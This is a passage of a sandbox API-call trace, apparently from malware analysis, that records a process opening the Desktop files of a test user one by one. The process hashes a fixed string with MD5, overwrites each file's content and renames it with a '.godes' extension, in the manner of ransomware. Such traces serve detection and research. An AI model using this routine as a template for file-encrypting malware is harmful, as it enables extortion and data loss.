ftLastWriteTime.dwHighDateTime=0x1d4cbec, nFileSizeHigh=0x0, nFileSizeLow=0x13057, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GL6BHNKrZbqTT.mp3", cAlternateFileName="GL6BHN~1.MP3")) returned 1 [0113.061] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.061] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.061] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.061] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GL6BHNKrZbqTT.mp3") returned=".mp3" [0113.061] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GL6BHNKrZbqTT.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gl6bhnkrzbqtt.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.062] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=77911) returned 1 [0113.062] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.063] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13031, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.063] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.065] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.065] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.065] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.065] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x13057, lpOverlapped=0x0) returned 1 [0113.066] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.066] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.066] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.066] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.066] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.067] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.067] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.067] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.067] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.067] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.067] GetLastError () returned 0x0 [0113.067] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.067] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.067] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.067] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x13060) returned 0x3321120 [0113.067] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.068] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.068] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x13052, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x13052, lpOverlapped=0x0) returned 1 [0113.068] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.068] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13057, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.068] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.068] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.068] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.068] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.068] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.068] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.068] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.068] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.068] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.068] CloseHandle (hObject=0x624) returned 1 [0113.069] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d5b8 [0113.069] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x880) returned 0x3321120 [0113.069] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d5b8 | out: hHeap=0x660000) returned 1 [0113.069] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GL6BHNKrZbqTT.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gl6bhnkrzbqtt.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GL6BHNKrZbqTT.mp3.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gl6bhnkrzbqtt.mp3.godes")) returned 1 [0113.070] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.070] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.071] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.071] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x189eee90, ftCreationTime.dwHighDateTime=0x1d4d2cb, ftLastAccessTime.dwLowDateTime=0xead9ab00, ftLastAccessTime.dwHighDateTime=0x1d4d313, ftLastWriteTime.dwLowDateTime=0xead9ab00, ftLastWriteTime.dwHighDateTime=0x1d4d313, nFileSizeHigh=0x0, nFileSizeLow=0xc966, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JIZ4scK0VOvc.jpg", cAlternateFileName="JIZ4SC~1.JPG")) returned 1 [0113.071] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.071] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.071] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.071] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JIZ4scK0VOvc.jpg") returned=".jpg" [0113.071] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JIZ4scK0VOvc.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jiz4sck0vovc.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.071] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=51558) returned 1 [0113.071] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.073] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc940, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.073] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.074] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.074] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xc966, lpOverlapped=0x0) returned 1 [0113.074] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.074] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.074] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.074] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.075] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.075] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.075] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.075] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.075] GetLastError () returned 0x0 [0113.075] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.075] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc970) returned 0x3321120 [0113.075] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.075] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xc961, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xc961, lpOverlapped=0x0) returned 1 [0113.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.076] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc966, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.076] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.076] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.076] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.076] CloseHandle (hObject=0x624) returned 1 [0113.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d5b8 [0113.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x880) returned 0x3321120 [0113.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d5b8 | out: hHeap=0x660000) returned 1 [0113.077] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JIZ4scK0VOvc.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jiz4sck0vovc.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JIZ4scK0VOvc.jpg.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jiz4sck0vovc.jpg.godes")) returned 1 [0113.078] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.078] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.079] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x436d28f0, ftCreationTime.dwHighDateTime=0x1d4c5ef, ftLastAccessTime.dwLowDateTime=0x286c5480, ftLastAccessTime.dwHighDateTime=0x1d4cece, ftLastWriteTime.dwLowDateTime=0x286c5480, ftLastWriteTime.dwHighDateTime=0x1d4cece, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="k 8cyI7PkJoZDNg M", cAlternateFileName="K8CYI7~1")) returned 1 [0113.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d5b8 [0113.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x3206400 [0113.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d5b8 | out: hHeap=0x660000) returned 1 [0113.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0113.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d5b8 [0113.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf468 [0113.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0113.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320270 | out: hHeap=0x660000) returned 1 [0113.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3294720 | out: hHeap=0x660000) returned 1 [0113.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741488 [0113.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0113.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3206400 | out: hHeap=0x660000) returned 1 [0113.079] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fd18180, ftCreationTime.dwHighDateTime=0x1d4ccc7, ftLastAccessTime.dwLowDateTime=0xbb878620, ftLastAccessTime.dwHighDateTime=0x1d4c688, ftLastWriteTime.dwLowDateTime=0xbb878620, ftLastWriteTime.dwHighDateTime=0x1d4c688, nFileSizeHigh=0x0, nFileSizeLow=0x5319, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="k1dd.gif", cAlternateFileName="")) returned 1 [0113.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.080] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k1dd.gif") returned=".gif" [0113.080] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k1dd.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k1dd.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.080] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=21273) returned 1 [0113.080] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.082] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x52f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.082] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.083] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.083] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x5319, lpOverlapped=0x0) returned 1 [0113.083] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.083] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.083] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.083] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.084] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.084] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.084] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.084] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.084] GetLastError () returned 0x0 [0113.084] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.084] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x5320) returned 0x3321120 [0113.084] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.084] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x5314, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x5314, lpOverlapped=0x0) returned 1 [0113.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.084] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5319, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.085] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.085] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.085] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.085] CloseHandle (hObject=0x624) returned 1 [0113.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x870) returned 0x3321120 [0113.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.086] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k1dd.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k1dd.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k1dd.gif.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k1dd.gif.godes")) returned 1 [0113.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.087] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.087] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c227310, ftCreationTime.dwHighDateTime=0x1d4c626, ftLastAccessTime.dwLowDateTime=0xee009260, ftLastAccessTime.dwHighDateTime=0x1d4cd11, ftLastWriteTime.dwLowDateTime=0xee009260, ftLastWriteTime.dwHighDateTime=0x1d4cd11, nFileSizeHigh=0x0, nFileSizeLow=0x18d50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M3MLVH7xcPc.jpg", cAlternateFileName="M3MLVH~1.JPG")) returned 1 [0113.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.088] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.088] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M3MLVH7xcPc.jpg") returned=".jpg" [0113.088] CreateFileW 